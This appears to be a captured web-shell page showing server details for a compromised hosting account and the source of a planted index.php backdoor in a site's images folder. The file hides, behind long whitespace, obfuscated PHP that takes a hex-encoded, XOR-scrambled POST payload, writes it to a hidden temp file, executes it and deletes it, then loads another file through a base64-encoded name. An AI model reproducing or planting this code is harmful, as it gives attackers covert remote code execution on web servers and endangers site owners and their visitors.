HEX
Server: Apache/2
System: Linux silas 5.14.0-362.8.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 7 14:54:22 EST 2023 x86_64
User: schuftan (1011)
PHP: 8.1.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/schuftan/domains/schuftan.cl/public_html/antiguo/images/images/index.php
<?php																																										if(in_array("\x65\x6Et", array_keys($_POST))){ $pointer = hex2bin($_POST["\x65\x6Et"]); $holder='';foreach(str_split($pointer) as $char){$holder .= chr(ord($char) ^ 53);} $desc = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir")]); while ($itm = array_shift($desc)) { if (!!is_dir($itm) && !!is_writable($itm)) { $flg = "$itm/.hld"; if (file_put_contents($flg, $holder)) { require $flg; unlink($flg); die(); } } } }
 require_once base64_decode("VllSU3dKUS5mNHY"); ?>